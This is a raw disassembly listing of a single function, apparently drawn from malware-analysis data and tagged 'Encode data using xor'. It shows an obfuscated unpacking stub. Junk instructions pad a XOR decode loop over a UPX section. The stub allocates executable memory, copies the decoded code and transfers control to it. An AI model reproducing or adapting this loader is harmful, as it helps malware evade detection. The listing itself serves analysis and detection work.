Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x1cf18b57
add edi, edi
sub edi, 1
popal
mov ecx, 0xe43aef12
sub ecx, 0xa30b5375
mov ecx, 0
mov esi, edx
or ebx, ebx
add ebx, edi
sub edi, 1
mov eax, esi
add edi, 0xe40c53cf
not ebx
mov edx, eax
add edi, 0x45f9b8e2
mov edi, 0xe5d395e2
inc ecx
add ebx, 1
not edi
cmp ecx, 0x1004148
jne 0xa789cb
sub ebx, edi
or ebx, edi
mov ecx, edi
sub ecx, edi
or ecx, edi
mov ebx, 0xa78796
mov ecx, eax
mov eax, edi
add eax, ecx
mov esi, 0xa7898a
mov eax, ecx
mov ecx, eax
and edi, edi
mov edx, dword [ebx]
sub ecx, 0xa0dd38bc
inc eax
or ecx, eax
and edx, 0xff
or eax, ecx
not ecx
xor dword [esi], edx
sub ecx, eax
sub ecx, 1
sub eax, 0x896e6d57
inc esi
not eax
inc ecx
not ecx
inc ebx
add edi, 0xb7a0a707
not ecx
mov ecx, 0x6b7dddcd
cmp esi, entry0
jl 0xa78a23
dec eax
and ecx, eax
or ecx, ecx
or ecx, eax
add edi, 0x6a3a7e1f
inc esi
dec edi
mov edx, 0xa7898e
sub edi, ebx
add ebx, edi
inc edi
mov edx, dword [edx]
or edi, edi
sub ecx, esi
mov edx, dword [edx]
sub ebx, edi
add esi, 0xe9419c57
push edx
sub edi, ebx
sub ecx, 0x775cff2d
mov edx, 0xa7898a
add ebx, 0x63ad9370
or edi, esi
add edi, 1
mov edx, dword [edx]
add esi, 0x123ace9f
add ebx, 0x156188aa
mov edi, ebx
mov edx, dword [edx]
sub esi, 0xa8026a5
dec esi
sub esp, 4
mov dword [esp], 0xa78992
sub edi, ecx
dec esi
or ecx, esi
call edx
inc edi
add ecx, 0xb88298fb
and ebx, ecx
pop edx
mov esi, 0x61976afb
add edi, 0x44e8ed40
push 0xa7899f
sub ebx, 0xbdc20e7e
inc ecx
push eax
add ecx, 0x317163cd
add edi, ebx
or ecx, esi
call edx
or ebx, edi
not esi
push 0x40
dec ecx
mov ebx, ecx
sub esp, 4
mov dword [esp], 0x3000
add ecx, 1
inc ebx
push 0x20000da8
add edi, 0xae62314e
or ebx, edi
add ecx, 0x8e94433f
push 0
add edi, ebx
sub esi, 0x8f69e439
or edi, esi
call eax
sub ecx, 0x9d25e197
add ecx, 0x1b308b6
sub edi, ebx
add eax, 0x20000d0b
not esi
sub esi, 0x3b8ad5a8
mov edx, 0x21c36a14
add ebx, ebx
add ebx, ecx
mov dword [eax], edx
or edi, ecx
add esi, 0x83634ea6
add edi, ebx
mov edx, dword [eax]
mov ecx, 0x4f86f4f5
add esi, 0x64c1eb47
cmp edx, 0x21c36a14
je 0xa78b93
mov edx, 0
mov byte [edx], al
add ebx, 0x33fa7bf4
mov ecx, 0xff84c082
mov edi, 0xa4f9d39b
add ebx, 0x5fad0010
dec ebx
add edi, 0x371d4831
mov ecx, edi
mov esi, section.UPX1
not ecx
mov ecx, edi
and ecx, edi
mov ebx, 0xa78795
add ecx, edi
not edi
mov edx, 0
sub edi, ecx
or ecx, edi
add edi, 0x4969af79
mov eax, 0xa78796
mov ecx, edi
and edi, ecx
lea eax, [edx + eax]
inc ecx
mov edi, 0x26cf3877
mov edi, ecx
mov eax, dword [eax]
or edi, ecx
add ecx, 0xc11a2ece
and eax, 0xff
mov ecx, 0xa9029ae2
mov ecx, edi
inc edx
sub edi, ecx
or edi, ecx
sub ecx, edi
cmp edx, 0x1f4
jne 0xa78c14
mov edx, 0
sub edi, 0x102aa7ac
dec edi
or ecx, edi
mov ecx, 0x30a02b3b
not edi
xor dword [esi], eax
or edi, edi
and ecx, ecx
add esi, 2
inc edi
dec edi
sub edi, 0x1ae82dd4
cmp esi, ebx
jl 0xa78bd5
mov edi, ecx
add ecx, ecx
sub ecx, 0x8bc0d23f
mov edi, ecx
sub edi, 1
mov ecx, section.UPX1
inc eax
mov esi, 0x428de9f5
add eax, eax
mov edi, section.UPX1
not eax
sub esi, 1
add eax, eax
mov edx, 0xa78795
add eax, 0x4185b04
or esi, esi
sub eax, esi
mov ebx, 0
not eax
mov eax, 0x88ca29db
inc esi
mov bl, byte [edi]
mov esi, eax
mov eax, 0x9725888
and eax, esi
mov byte [ecx], bl
dec eax
not eax
mov eax, 0xda0e47a2
inc ecx
add eax, eax
inc eax
add edi, 2
or eax, eax
not esi
cmp edi, edx
jle 0xa78c8a
sub eax, esi
or esi, esi
sub edi, 0x467c56bb
add ecx, ecx
add ecx, 0xcdd12e6c
sub esp, 4
mov dword [esp], 0x8dc6a0
mov edi, 0xa75fc66c
not ecx
ret